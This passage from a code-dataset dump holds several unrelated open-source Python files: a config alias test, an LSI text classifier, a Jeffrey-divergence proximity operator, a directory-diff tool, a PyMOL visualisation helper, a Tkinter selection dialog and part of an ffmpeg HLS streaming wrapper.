Config(Path(__file__).parent.with_name(\"data\").joinpath(\"unexisting.toml\"))\n\n\n@pytest.mark.parametrize(\n (\"shorcut\", \"aliases\"),\n [\n (\"aaa-bbb-ccc\", [\"aaa-bbb-ccc\"]),\n (\"aaaBbbDdd\", [\"aaaBbbDdd\"]),\n (\"b123-c123-d123\", [\"b123-c123-d123\"]),\n (\"c123D123\", [\"c123D123\"]),\n (\"d123-E123\", [\"d123-E123\"]),\n (\"aBC\", [\"aaa-bbb-ccc\"]),\n (\"aaBbCc\", [\"aaa-bbb-ccc\"]),\n (\"e\", []),\n (\"aC\", []),\n (\"A\", []),\n (\"E\", [\"E\"]),\n (\"a\", [\"aaa-bbb-ccc\", \"aaaBbbDdd\"]),\n (\"aB\", [\"aaa-bbb-ccc\", \"aaaBbbDdd\"]),\n (\"b\", [\"b123-c123-d123\"]),\n (\"bCD\", [\"b123-c123-d123\"]),\n (\"c1D1\", [\"c123D123\"]),\n (\"dE\", [\"d123-E123\"]),\n ],\n)\ndef test_find_aliases(shorcut, aliases):\n config = Config(Path(__file__).parent.with_name(\"data\").joinpath(\"alias-abbreviations.toml\"))\n assert config.find_aliases(shorcut) == aliases\n","repo_name":"pyprojectx/pyprojectx","sub_path":"tests/unit/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":4166,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"37"} +{"seq_id":"955214599","text":"import pickle\nfrom sklearn.linear_model import LogisticRegression\nfrom gensim import models, matutils\nfrom .base import BaseEstimator\n\n\nclass LsiEstimator(BaseEstimator):\n def __init__(self):\n super().__init__()\n self.hidden_size = 500\n self.lr_solver = 'newton-cg'\n self.lr_max_iter = 10000\n self.lr_multi_class = 'ovr'\n self.lsi_filename = \"/lsi\"\n self.lr_filename = \"/lr.pickle\"\n\n def train(self, options=None):\n if self.adapter is None:\n raise \"please set adapter before training\"\n adapter = self.adapter\n\n lsi = self.__make_lsi(adapter)\n x_train = self.__make_x(lsi, adapter.be_train)\n y_train = self.__make_y(adapter.ot_train)\n x_test = self.__make_x(lsi, adapter.be_test)\n y_test = self.__make_y(adapter.ot_test)\n meta_test = self.__make_meta(adapter.meta_test)\n\n print(\"Train samples: \", len(x_train))\n print(\"Validation samples: \", len(x_test))\n\n lr = LogisticRegression(solver=self.lr_solver,\n max_iter=self.lr_max_iter,\n multi_class=self.lr_multi_class)\n lr.fit(X=x_train, y=y_train)\n self.lsi = lsi\n self.lr = lr\n\n print(\"Train :\", lr.score(X=x_train, y=y_train))\n print(\"Validation :\", lr.score(X=x_test, y=y_test))\n\n print('Validation Acuracy',\n self.calc_accuracy(x_test, y_test, meta_test))\n\n def predict(self):\n be_infer = self.adapter.get_bow_element_vectors()\n x_infer = self.__make_x(self.lsi, be_infer)\n topic_id = self.predict_x(x_infer[0])\n return self.all_topics[topic_id]\n\n # not supported\n def predict_with_prob_vec(self):\n return None\n\n def predict_x(self, x):\n return self.lr.predict([x])[0]\n\n # not supported\n def predict_x_with_prob_vec(self, x):\n return None\n\n def load_model(self, path):\n self.lsi = models.LsiModel.load(path + self.lsi_filename)\n with open(path + self.lr_filename, \"rb\") as f:\n self.lr = pickle.load(f)\n\n def save_model(self, path):\n self.lsi.save(path + self.lsi_filename)\n with open(path + self.lr_filename, \"wb\") as f:\n pickle.dump(self.lr, f)\n\n def __make_lsi(self, adapter):\n raw_corpus = []\n for x in adapter.be_train:\n raw_corpus.extend(matutils.Dense2Corpus(x.T))\n lsi = models.LsiModel(raw_corpus,\n id2word=adapter.dictionary,\n num_topics=self.hidden_size)\n return lsi\n\n def __make_x(self, lsi, vecs):\n corpus = []\n for x in vecs:\n corpus.extend(matutils.Dense2Corpus(x.T))\n x = []\n for vec in lsi[corpus]:\n x.append(self.__sparse_to_dense(vec))\n return x\n\n def __make_y(self, vecs):\n flatten_vecs = []\n for x in vecs:\n flatten_vecs.extend(x)\n return [v.argmax() for v in flatten_vecs]\n\n def __make_meta(self, vecs):\n flatten_vecs = []\n for x in vecs:\n flatten_vecs.extend(x)\n return flatten_vecs\n\n def __sparse_to_dense(self, vec):\n ret = [0 for e in range(self.hidden_size)]\n for v in vec:\n ret[v[0]] = v[1]\n return ret\n","repo_name":"toshiya/semantic_selector","sub_path":"projects/semantic_selector/estimator/lsi.py","file_name":"lsi.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"37"} +{"seq_id":"25206524839","text":"\"\"\"\r\nVersion : 1.0 ( 06-22-2022).\r\n\r\nDEPENDENCIES:\r\n -'newton.py' in the folder 'utils'\r\n -'lambert_W.py' in the folder 'utils'\r\n\r\nAuthor : Mbaye Diongue\r\n\r\nCopyright (C) 2022\r\n\r\nThis file is part of the codes provided at http://proximity-operator.net\r\n\r\nBy downloading and/or using any of these files, you implicitly agree to\r\nall the terms of the license CeCill-B (available online).\r\n\"\"\"\r\n\r\nimport numpy as np\r\nfrom proxop.utils.newton import newton_\r\nfrom proxop.utils.lambert_W import lambert_W\r\n\r\n\r\nclass Jeffrey:\r\n r\"\"\"Compute the proximity operator and the evaluation of gamma*D.\r\n\r\n Where D is the function defined as:\r\n\r\n\r\n / (x-y) * log(x/y) if x > 0 and y > 0\r\n D(x,y) = | 0 if x=y=0\r\n \\ + inf otherwise\r\n\r\n 'gamma' is the scale factor\r\n\r\n When the inputs are arrays, the outputs are computed element-wise\r\n INPUTS\r\n ========\r\n x - scalar or ND array\r\n y - scalar or ND array with the same size as 'x'\r\n gamma - scalar or ND array compatible with the blocks of 'y' [default: gamma=1]\r\n \"\"\"\r\n\r\n def __init__(self, gamma: float or np.ndarray = 1):\r\n if np.any(gamma <= 0):\r\n raise Exception(\"'gamma' must be strictly positive\")\r\n self.gamma = gamma\r\n\r\n def prox(self, x: np.ndarray, y: np.ndarray) -> [np.ndarray, np.ndarray]:\r\n scale = self.gamma\r\n\r\n if np.size(x) != np.size(y):\r\n raise Exception(\"'x' and 'y' must have the same size\")\r\n # scalar-like inputs handling\r\n if np.size(x) <= 1:\r\n x = np.reshape(x, (-1))\r\n if np.size(y) <= 1:\r\n y = np.reshape(y, (-1))\r\n\r\n # 2nd branch\r\n sz = np.shape(x)\r\n prox_p = np.zeros(sz)\r\n prox_q = np.zeros(sz)\r\n\r\n # branch selection\r\n # when the input is too big, we use a taylor approximation of the\r\n # LambertW function to avoid divergence\r\n u1 = 1 - x / scale\r\n u2 = 1 - y / scale\r\n lw_x, lw_y = np.zeros(sz), np.zeros(sz)\r\n # With x ...\r\n mask_u = u1 > 100\r\n lw_x[mask_u] = u1[mask_u] - u1[mask_u] / (1 + u1[mask_u]) * np.log(u1[mask_u])\r\n\r\n # we use the Lambert_W function otherwise\r\n mask_u = np.logical_not(mask_u)\r\n lw_x[mask_u] = lambert_W(np.exp(1 - x / scale))\r\n # With y ...\r\n mask_u = u2 > 100\r\n lw_y[mask_u] = u2[mask_u] - u2[mask_u] / (1 + u2[mask_u]) * np.log(u2[mask_u])\r\n\r\n # we use the Lambert_W function otherwise\r\n mask_u = np.logical_not(mask_u)\r\n lw_y[mask_u] = lambert_W(np.exp(1 - y / scale))\r\n\r\n mask = lw_x * lw_y < 1\r\n gg = scale\r\n if np.size(scale) > 1:\r\n gg = scale[mask]\r\n xx = x[mask]\r\n yy = y[mask]\r\n # newton's method\r\n\r\n def fun_phi(t):\r\n return (\r\n (t + 1) * np.log(t) - 1 / t + t**2 + (xx / gg - 1) * t + 1 - yy / gg\r\n )\r\n\r\n def der_fun_phi(t):\r\n return np.log(t) + 1 / t + 1 / t**2 + 2 * t + xx / gg\r\n\r\n # root finding\r\n eps = 1e-10\r\n low = lw_x + eps\r\n high = 1 / (lw_y + eps)\r\n t = (low + high) / 2\r\n t = newton_(fun_phi, fp=der_fun_phi, x0=t, low=low, high=high)\r\n\r\n # 1st branch\r\n prox_p[mask] = xx + gg * (np.log(t) + t - 1)\r\n prox_q[mask] = yy - gg * (np.log(t) - 1 / t + 1)\r\n\r\n return [prox_p, prox_q]\r\n\r\n def __call__(self, x: np.ndarray, y: np.ndarray) -> float:\r\n if np.size(x) != np.size(y):\r\n raise Exception(\"'x' and 'y' must have the same size\")\r\n if (\r\n np.any(x < 0)\r\n or np.any(y < 0)\r\n or np.any((x == 0) * (y != 0))\r\n or np.any((y == 0) * (x != 0))\r\n ):\r\n return np.inf\r\n if np.size(x) <= 1:\r\n x = np.reshape(x, (-1))\r\n y = np.reshape(y, (-1))\r\n mask = y > 0\r\n res = (x[mask] - y[mask]) * np.log(x[mask] / y[mask])\r\n gg = self.gamma\r\n if np.size(gg) > 1:\r\n gg = gg[mask]\r\n return np.sum(gg * res)\r\n\r\n def _check(self, x):\r\n if (np.size(self.gamma) > 1 and np.size(self.gamma) != np.size(x)):\r\n ValueError(\r\n \"'gamma' must be positive scalars or positive ND arrays\" +\r\n \" with the same size as 'x'\"\r\n )","repo_name":"mbayediongue/proxop","sub_path":"src/proxop/multi/Jeffrey.py","file_name":"Jeffrey.py","file_ext":"py","file_size_in_byte":4464,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"19646329899","text":"import os\nfrom functools import reduce\nfrom pathlib import Path\nfrom datetime import datetime\nimport json\nfrom collections import namedtuple\n\n\ndef get_directory_structure(rootdir):\n \"\"\"\n Creates a nested dictionary that represents the folder structure of rootdir\n \"\"\"\n TOP_LEVEL_NAME = 'root'\n rootdir = Path(rootdir).resolve()\n start = len(str(rootdir))\n res = {\n 'INFO': {\n 'rootdir': str(rootdir),\n 'timestamp': datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\"),\n 'time': datetime.timestamp(datetime.now()),\n 'version': 'v1',\n },\n TOP_LEVEL_NAME: {},\n }\n for path, dirs, files in os.walk(rootdir):\n folders = path[start:].split(os.sep)\n folders = [TOP_LEVEL_NAME] + [f for f in folders if f]\n subdir = dict.fromkeys(files)\n parent = reduce(dict.get, folders[:-1], res)\n parent[folders[-1]] = subdir\n return res\n\n_wrap_entry = namedtuple( 'DirEntryWrapper', 'isLeafDir name size mtime' )\ndef _myscantree( rootdir, follow_links=False, reldir='' ):\n visited = set()\n rootdir = os.path.normpath(rootdir)\n try:\n current_scan_count = 0\n with os.scandir(rootdir) as it:\n for entry in it:\n current_scan_count += 1\n if entry.is_dir():\n if not entry.is_symlink() or follow_links:\n absdir = os.path.relpath(entry.path, rootdir)\n if absdir in visited: \n continue \n else: \n visited.add(absdir)\n yield from _myscantree( entry.path, follow_links, os.path.join(reldir,entry.name) )\n else:\n try:\n st = entry.stat()\n size = st.st_size\n mtime = st.st_mtime\n except FileNotFoundError: # strange bug, $RECYCLE.BIN\\\\...\n print('FileNotFoundError', entry.path)\n size = -1\n mtime = 0\n yield _wrap_entry( \n False,\n os.path.join(reldir,entry.name), \n # entry.is_symlink(),\n size,\n mtime,\n )\n if current_scan_count == 0: # fix bug where empty folders are not included\n yield _wrap_entry( \n True,\n reldir, \n # entry.is_symlink(),\n 0,\n 0,\n )\n except PermissionError:\n print('PermissionError', rootdir)\n pass\n # for path, dirs, files in os.walk(rootdir):\n # for name in files:\n # yield _wrap_entry( \n # os.path.join(reldir,name), \n # # entry.is_symlink(),\n # os.stat(os.path.join(path,name)).st_size,\n # os.stat(os.path.join(path,name)).st_mtime,\n # )\n # for name in dirs:\n # yield from _myscantree( os.path.join(path,name), follow_links, os.path.join(reldir,name) )\n\nclass _NestedDict(dict):\n def __missing__(self, key):\n self[key] = _NestedDict()\n return self[key]\n\ndef get_directory_structure_v2(rootdir):\n \"\"\"\n Creates a nested dictionary that represents the folder structure of rootdir\n \"\"\"\n TOP_LEVEL_NAME = 'root'\n rootdir = Path(rootdir).resolve()\n res = _NestedDict()\n res[\"INFO\"] = {\n 'rootdir': str(rootdir),\n 'timestamp': datetime.now().strftime(\"%Y/%m/%d %H:%M:%S\"),\n 'time': datetime.timestamp(datetime.now()),\n 'version': 'v2',\n }\n for item in _myscantree(rootdir): # returns individual files or empty directories\n if item.isLeafDir: # directory that is empty needs special treatment\n folders = item.name.split(os.sep)\n folders = [TOP_LEVEL_NAME] + [f for f in folders if f]\n parent = reduce(lambda d, k: d[k], folders[:-1], res) # get the parent folder by recursive dict.get for all folders until leaf\n parent[folders[-1]] = {}\n continue\n mtime = datetime.fromtimestamp(item.mtime).strftime(\"%y/%m/%d %H:%M:%S\")\n folders = item.name.split(os.sep)\n folders = [TOP_LEVEL_NAME] + [f for f in folders if f]\n parent = reduce(lambda d, k: d[k], folders[:-1], res) # get the parent folder by recursive dict.get for all folders until leaf\n parent[folders[-1]] = json.dumps((item.size, mtime))\n return res\n\nclass Node:\n def __init__(self, name, old_path=None, new_path=None, parent=None, compare_settings={}):\n assert old_path is not None or new_path is not None, 'both paths are None'\n self.name = name\n self.parent = parent\n self.children: list[Node] = []\n self.old_path = old_path\n self.old_files, self.old_dirs = self.get_files_and_dirs(old_path) if old_path is not None else (set(), set())\n self.new_path = new_path\n self.new_files, self.new_dirs = self.get_files_and_dirs(new_path) if new_path is not None else (set(), set())\n\n self.full_name = self.name if self.parent is None else self.parent.full_name + '/' + self.name\n self.stats = {\n 'files': {'old_only': float('nan'), 'new_only': float('nan'), 'common': float('nan')},\n 'dirs': {'old_only': float('nan'), 'new_only': float('nan'), 'common': float('nan')}\n }\n self.stats_deep = None\n self.compare_settings = compare_settings\n self._get_stats()\n\n @staticmethod\n def get_files_and_dirs(path):\n files: list[str] = []\n dirs: list[str] = []\n for name, value in path.items():\n if value is None or isinstance(value, str):\n size, mtime = json.loads(value) if value is not None else ('N/A', 'N/A')\n files.append(name + ' | ' + str(size) + ' | ' + str(mtime)) # concat to string to simplify comparison\n else:\n dirs.append(name)\n return set(files), set(dirs)\n\n def get_del_new_common_file_splits(self):\n old_files = [x[::-1].split(' | ', 2)[::-1] for x in self.old_files]\n new_files = [x[::-1].split(' | ', 2)[::-1] for x in self.new_files]\n compare_size, compare_mtime = self.compare_settings.get('size', True), self.compare_settings.get('mtime', True)\n old_files_formatted = [x[0] + (x[1] if compare_size else '') + (x[2] if compare_mtime else '') for x in old_files]\n new_files_formatted = [x[0] + (x[1] if compare_size else '') + (x[2] if compare_mtime else '') for x in new_files]\n old_files_formatted_set = set(old_files_formatted)\n new_files_formatted_set = set(new_files_formatted)\n\n deleted_files = [real for real, formatted in zip(self.old_files, old_files_formatted) if formatted not in new_files_formatted_set]\n new_files = [real for real, formatted in zip(self.new_files, new_files_formatted) if formatted not in old_files_formatted_set]\n # for common we can either use old or new files, only makes a difference if compare_settings ignores size or mtime, we use new files\n common_files = [real for real, formatted in zip(self.new_files, new_files_formatted) if formatted in old_files_formatted_set]\n return deleted_files, new_files, common_files\n\n\n def has_exclusive_new_content(self):\n assert self.stats_deep is not None, 'stats_deep is None'\n return self.old_path is None or self.stats_deep['files']['new_only'] > 0 or self.stats_deep['dirs']['new_only'] > 0\n\n def has_exclusive_old_content(self):\n assert self.stats_deep is not None, 'stats_deep is None'\n return self.new_path is None or self.stats_deep['files']['old_only'] > 0 or self.stats_deep['dirs']['old_only'] > 0\n\n def is_same(self):\n if self.new_path is None or self.old_path is None:\n return False\n assert self.stats_deep is not None, 'stats_deep is None'\n # todo make simpler with AND\n return (self.stats_deep['files']['old_only'], self.stats_deep['files']['new_only'], self.stats_deep['dirs']['old_only'], self.stats_deep['dirs']['new_only']) == (0, 0, 0, 0)\n\n def _get_stats(self):\n r = self.get_del_new_common_file_splits()\n self.stats['files']['old_only'] = len(r[0])\n self.stats['files']['new_only'] = len(r[1])\n self.stats['files']['common'] = len(r[2])\n self.stats['dirs']['old_only'] = len(self.old_dirs - self.new_dirs)\n self.stats['dirs']['new_only'] = len(self.new_dirs - self.old_dirs)\n self.stats['dirs']['common'] = len(self.old_dirs & self.new_dirs)\n if self.old_path is None:\n self.stats['files']['old_only'] = float('nan')\n self.stats['dirs']['old_only'] = float('nan')\n self.stats['files']['common'] = float('nan')\n self.stats['dirs']['common'] = float('nan')\n if self.new_path is None:\n self.stats['files']['new_only'] = float('nan')\n self.stats['dirs']['new_only'] = float('nan')\n self.stats['files']['common'] = float('nan')\n self.stats['dirs']['common'] = float('nan')\n\n def _get_stats_deep(self):\n self.stats_deep = {\n 'files': {'old_only': 0, 'new_only': 0, 'common': 0},\n 'dirs': {'old_only': 0, 'new_only': 0, 'common': 0}\n }\n # make sure children stats are up to date\n for child in self.children:\n child._get_stats_deep()\n # sum children stats\n if self.old_path is not None:\n self.stats_deep['files']['old_only'] = self.stats['files']['old_only'] + sum([child.stats_deep['files']['old_only'] for child in self.children])\n self.stats_deep['dirs']['old_only'] = self.stats['dirs']['old_only'] + sum([child.stats_deep['dirs']['old_only'] for child in self.children])\n if self.new_path is not None:\n self.stats_deep['files']['new_only'] = self.stats['files']['new_only'] + sum([child.stats_deep['files']['new_only'] for child in self.children])\n self.stats_deep['dirs']['new_only'] = self.stats['dirs']['new_only'] + sum([child.stats_deep['dirs']['new_only'] for child in self.children])\n if self.new_path is not None and self.old_path is not None:\n self.stats_deep['files']['common'] = self.stats['files']['common'] + sum([child.stats_deep['files']['common'] for child in self.children])\n self.stats_deep['dirs']['common'] = self.stats['dirs']['common'] + sum([child.stats_deep['dirs']['common'] for child in self.children])\n\n def __repr__(self):\n return self.full_name\n\n def get_print_line(self, indent=0):\n result = ' ' * indent\n if self.new_path is None:\n result += '(DEL)'\n if self.old_path is None:\n result += '(NEW)'\n if self.new_path is not None and self.old_path is not None:\n result += '(...)'\n result += ' ' + f'{self.name:<10}'\n # add deep stats\n if self.is_same():\n result += ' SAME'\n else:\n result += ' <:({} | {})'.format(self.stats_deep['files']['old_only'], self.stats_deep['dirs']['old_only'])\n result += ' >:({} | {})'.format(self.stats_deep['files']['new_only'], self.stats_deep['dirs']['new_only'])\n return result\n\ndef get_tree(old_path, new_path, compare_settings, root_name=''):\n root = Node(root_name, old_path=old_path, new_path=new_path, compare_settings=compare_settings)\n _build_tree(root, compare_settings)\n root._get_stats_deep()\n return root\n\ndef _build_tree(node, compare_settings):\n combined = set()\n if node.old_path is not None:\n combined |= set(node.old_path.keys())\n if node.new_path is not None:\n combined |= set(node.new_path.keys())\n combined = sorted(list(combined))\n for name in combined:\n old_path = node.old_path[name] if (node.old_path is not None and name in node.old_path.keys()) else None\n new_path = node.new_path[name] if (node.new_path is not None and name in node.new_path.keys()) else None\n\n if isinstance(old_path, str): # if it is a file\n old_path = None\n if isinstance(new_path, str): # if it is a file\n new_path = None\n if old_path is None and new_path is None:\n continue\n\n child = Node(name, old_path=old_path, new_path=new_path, parent=node, compare_settings=compare_settings)\n node.children.append(child)\n _build_tree(child, compare_settings)\n\n\nif __name__=='__main__':\n import json\n res = get_directory_structure_v2(\"M:/\")\n with open(\"result.json\", 'w') as json_file:\n json.dump(res, json_file, indent=2)\n","repo_name":"Ar-Kareem/dir_diff","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2776312160","text":"#!/usr/bin/env python2\n\nfrom interface import PymolCommander as Base\nfrom pymol import stored\nfrom pymol import cmd\n\nclass PymolCommander(Base):\n\n def __init__(self):\n self.count=0\n self.connection_count=0\n self.zoom_history=[]\n self.connection_dictionary={}\n\n def showModel(self, model, chainColors, stickColors):\n cmd.do(\"hide\")\n cmd.do(\"bg_color white\")\n cmd.do(\"show cartoon, \"+ str(model))\n chains=[]\n for ch in cmd.get_chains(model):\n chains.append(ch)\n for i in range(0,len(chains)):\n try:\n cmd.do(\"color \"+chainColors[i]+\", chain \"+chains[i])\n except IndexError:\n cmd.do(\"color \" + chainColors[-1] + \", chain \" + chains[i])\n print(\"Error: Detected more chains than colors. Last color in color list will be used.\")\n\n cmd.do(\"show spheres, all and not bound_to all\")\n cmd.do(\"util.cnc('all and not bound_to all')\")\n cmd.do(\"show sticks, not pol\")\n cmd.do(\"color \"+stickColors[0]+\", not pol\")\n cmd.do(\"util.cnc('not pol')\")\n\n \n def hideModel(self, model):\n cmd.do(\"hide everything, \"+str(model))\n\n\n def showSticks(self, model, sel, color):\n cmd.do(\"show sticks, \"+str(model)+\" & \" + str(sel))\n cmd.do(\"color \"+str(color)+\", \"+str(model)+\" & \" + str(sel))\n cmd.do(\"util.cnc('\"+str(model)+\" & \" + str(sel)+\"')\")\n\n\n def hideSticks(self, model, sel):\n cmd.do(\"hide sticks, \"+str(model)+\" & \" + str(sel))\n\n\n def showSpheres(self, model, sel, color):\n cmd.do(\"show spheres, \"+str(model)+\" & \" + str(sel))\n cmd.do(\"color \"+str(color)+\", \"+str(model)+\" & \" + str(sel))\n cmd.do(\"util.cnc('\"+str(model)+\" & \" + str(sel)+\"')\")\n\n \n def hideSpheres(self, model,sel):\n cmd.do(\"hide spheres, \"+str(model)+\" and \" + str(sel))\n\n\n def showConnection(self, model, atom1, atom2, color):\n #name=\"connection\"+str(self.connection_count)\n name=str(atom1.split(\"/\")[1]) + \"_\" +str(atom1.split(\"/\")[-1]) + \"--\" + str(atom2.split(\"/\")[1])+\"_\"+str(atom2.split(\"/\")[-1])\n self.connection_dictionary.update({(str(model)+str(atom1)+str(atom2)):(self.connection_count)})\n self.connection_count += 1\n cmd.do(\"distance \"+str(name)+\", /\"+ str(model)+\"//\"+str(atom1)+\", /\"+ str(model)+\"//\"+str(atom2))\n cmd.do(\"color \"+str(color)+\", \"+str(name))\n\n\n def hideConnection(self, model, atom1, atom2):\n id=self.connection_dictionary[str(model)+str(atom1)+str(atom2)]\n cmd.do('hide everything, connection'+str(id))\n\n\n def loadModel(self,path,form):\n if form==\"pdb\" or form==\"prmtop\":\n try:\n cmd.load(path, \"obj\"+str(self.count),0,form )\n self.count+=1\n except:\n print(\"Something went wrong when loading the PDB file\")\n else:\n print(\"Unsupported File Format.\")\n\n \n def loadTraj(self, model,path,form):\n #dont\n pass\n\n def deleteModel(self, model):\n cmd.do(\"delete \" + str(model))\n\n def center(self, model):\n cmd.do(\"center \" + str(model))\n\n def zoom(self, model, sel):\n cmd.do(\"zoom \" + str(model) + \" and \" + str(sel))\n self.zoom_history.append(cmd.get_view())\n if len(self.zoom_history) > 10:\n del self.zoom_history[0]\n\n \n def undoZoom(self):\n try:\n cmd.do(\"set_view \"+str(self.zoom_history[-1]))\n del self.zoom_history[-1]\n except:\n print(\"Number of undoZooms has been exhausted.\")\n\n\n def setFrame(self, model, n):\n #dont\n pass\n\n def read_PDBanalyzer(self,filename,outname,stickColors,chainColors):\n import re\n contacts=[]\n# stickcolors = [\"gray\", \"yellow\", \"red\", \"white\", \"orange\"]\n# chaincolors = [\"green\", \"yellow\", \"red\", \"white\", \"orange\"]\n with open(outname,\"r\") as contact_file:\n contacts_lines=contact_file.readlines()\n for line in contacts_lines:\n contacts.append(line.split())\n #print contacts\n self.loadModel(filename,\"pdb\")\n model=\"obj\"+str(self.count-1)\n self.showModel(model,chainColors,stickColors)\n for i in contacts:\n id1=re.findall(r'\\d+', i[0])\n id2=re.findall(r'\\d+', i[2])\n atom1=str(i[1])+\"/\"+i[0][0:3]+\"`\"+i[0][3:]+\"/\"+i[4]\n atom2=str(i[3])+\"/\"+i[2][0:3]+\"`\"+i[2][3:]+\"/\"+i[5]\n selection=\"chain \"+str(i[1])+\" & resi \"+str(id1[0])+\" + chain \"+str(i[3])+\" & resi \"+str(id2[0])\n cmd.set(\"label_position\", \"(1,1,1)\")\n try:\n color=chainColors[contacts.index(i)]\n except IndexError:\n color = chainColors[-1]\n self.showSticks(model,selection,\"none\")\n if (\"O\" in i[4]) or (\"N\" in i[4]) or (\"S\" in i[4]):\n if (\"O\" in i[5]) or (\"N\" in i[5]) or (\"S\" in i[5]):\n self.showConnection(model, atom1, atom2, \"yellow\")\n else:\n self.showConnection(model,atom1,atom2,\"black\")\n\n\n\n\n\n\n","repo_name":"sklumpe/pymol_commander","sub_path":"pymol_commander.py","file_name":"pymol_commander.py","file_ext":"py","file_size_in_byte":5134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5000189027","text":"import Tkinter as tk\nimport tkMessageBox\n\n\nclass SelectionList(tk.Tk):\n def __init__(self, list_of_options):\n tk.Tk.__init__(self, None)\n self.title('Select an option')\n self.selection = None\n self.initialize(list_of_options)\n\n def initialize(self, list_of_options):\n frame = tk.LabelFrame(self, text='Select an option')\n frame.grid(\n row=0, columnspan=1, sticky='W', padx=5, pady=5, ipadx=5, ipady=5)\n self.listbox = tk.Listbox(self, width=25, height=10)\n self.listbox.grid(row=0, column=0, sticky='E', padx=5, pady=2)\n for opt in list_of_options:\n self.listbox.insert(tk.END, opt)\n self.listbox.bind('<Double-1>', self._get_selection)\n self.protocol('WM_DELETE_WINDOW', self._on_closing)\n\n def _get_selection(self, event):\n self.selection = self.listbox.get(self.listbox.curselection())\n self.destroy()\n\n def _on_closing(self):\n if tkMessageBox.askokcancel('Quit', 'Do you want to quit?'):\n self.destroy()\n","repo_name":"eo1989/smartcondor","sub_path":"pyOptionAnalyzer/make_selection.py","file_name":"make_selection.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"25287709130","text":"import logging\nimport datetime\nimport sys\nimport threading\nimport subprocess\nfrom subprocess import Popen, PIPE, STDOUT, call\nimport os\nfrom threading import Thread\nimport platform\ntry:\n from Queue import Queue, Empty\n\nexcept ImportError:\n from queue import Queue, Empty\n\n\n__MAC_OS__ = 'Darwin'\n__WINDOWS__ = 'win32'\n__LINUX__ = 'linux'\n__DEFAULT_SYSTEM_VIDEO_DEVICE__ = 0\n__DEFAULT_SYSTEM_AUDIO_DEVICE__ = 0\n__DEFAULT_BROADCAST_RESOLUTION__ = \"640X320\"\n\n\n__MEDIA_NETWORK_STREAMS_LOCATION__ = \"media/\"\n__MEDIA_NETWORK_STREAMS_SEGMENT_DURATION__ = 10\n\n\n\n\ntry:\n sys.path.append('../mod_settings')\n import mod_settings\n \n __MEDIA_NETWORK_STREAMS_LOCATION__ = mod_settings.MEDIA_NETWORK_OUTPUT_LOCATION\n __MEDIA_NETWORK_STREAMS_SEGMENT_DURATION__ = mod_settings.HLS_SEGMENT_DURATION\n\nexcept:\n print(\"- ATTENTION: No mod_settings found, using settings in mod_ffmpegwrapper\")\n #! Attention trailing slash!\n __MEDIA_NETWORK_STREAMS_LOCATION__ = \"media/\"\n __MEDIA_NETWORK_STREAMS_SEGMENT_DURATION__ = 10\n\n\nclass FFmpegCommand:\n '''\n Class that holds different ffmpeg commands in a list required for ffmpeg wrapper.\n '''\n def __init__(self):\n print(\"I was just created\")\n \n def commands(self):\n return [\"apple_hls\",\"rtsp\"]\n \n \n def getCommand(self, options):\n print(\"Getting the options\")\n\n if options[\"format\"]==\"apple_hls\":\n return self.appleHLS(options[\"vid\"], options[\"aid\"], options[\"filelocation\"])\n \n\n else:\n return None\n\n\n def appleHLS(self, vdev, adev, location, options={\n \"frate\":10\n , \"resolution\":__DEFAULT_BROADCAST_RESOLUTION__\n }):\n \n '''\n #! todo should check whether options are given, if not then default.\n Produces an Apple HLS livestream.\n '''\n _frate = str(options[\"frate\"])\n resolution=str(options[\"resolution\"])\n streamLocation = __MEDIA_NETWORK_STREAMS_LOCATION__ + location + \"/\"\n segdur = str( __MEDIA_NETWORK_STREAMS_SEGMENT_DURATION__ )\n if \"LinuxMint\" in platform.platform():\n device = \"/dev/video0\"\n _fa = \"alsa\"\n _fac = \"2\"\n #_fac = \"1\" #should be the number behind the comma of _fai\n _fai = \"hw:0,0\" #op hw:2,0 issues in dit process, das de camera audio.\n _fai = adev\n _fai = \"hw:3,0\" #Logitech Pro\n _far = \"44100\"\n _fv = \"v4l2\"\n _thread_queue_size = \"1028\"\n _strict = \"experimental\"\n _strict2 = \"-2\"\n \n return [\"ffmpeg\", \"-f\", _fv, \"-timestamps\", \"abs\", \"-i\", device, \"-thread_queue_size\", _thread_queue_size, \"-f\", _fa,\"-ac\",_fac,\"-i\",_fai, \"-async\", \"100000\", \"-ar\", _far, \"-preset\", \"ultrafast\", \"-c:v\", \"libx264\", \"-tune\", \"zerolatency\", \"-pix_fmt\", \"yuv420p\", \"-profile:v\", \"baseline\", \"-level\", \"1.3\", \"-maxrate\", \"768K\", \"-bufsize\", \"1M\", \"-crf\", \"20\", \"-g\", \"20\", \"-f\", \"hls\", \"-hls_time\", segdur,\"-s\",resolution, \"-threads\",\"0\", \"-force_key_frames\", \"00:00:00.000\", streamLocation + \"playlist.m3u8\"]\n\n else:\n #! its a mac!\n device = str(vdev) + \":\" + str(adev)\n _fv = \"avfoundation\"\n _strict = \"\"\n _strict2 = \"\"\n \n return [\"ffmpeg\", \"-r\", \"30\", \"-f\", \"avfoundation\", \"-i\", device, \"-pix_fmt\", \"yuv420p\", \"-s\",resolution,\"-hls_flags\", \"round_durations\", \"-hls_time\",\"3\",\"-hls_init_time\",\"3\", streamLocation + \"playlist.m3u8\"]\n\n\nclass FFmpegStreamProcess(object):\n \"\"\"\n FFmpeg sort of wrapper.\n \"\"\"\n def __init__(self,\n options,\n cb_Rdy = None):\n \n self.options=options\n #self.options[\"filelocation\"]=options[\"streamlocation\"]+\"/\"+options[\"format\"]\n #! earlier videos were stored in video characteristical directories: \"apple_hls/...\"\n #! not anymore.\n self.options[\"filelocation\"]=options[\"streamlocation\"]\n self.command=FFmpegCommand().getCommand(options)\n print(\" \".join(self.command))\n\n self.terminateMyself = False\n self.myProcessStopped = False\n if not os.path.exists( __MEDIA_NETWORK_STREAMS_LOCATION__ + self.options[\"filelocation\"] + \"/\" 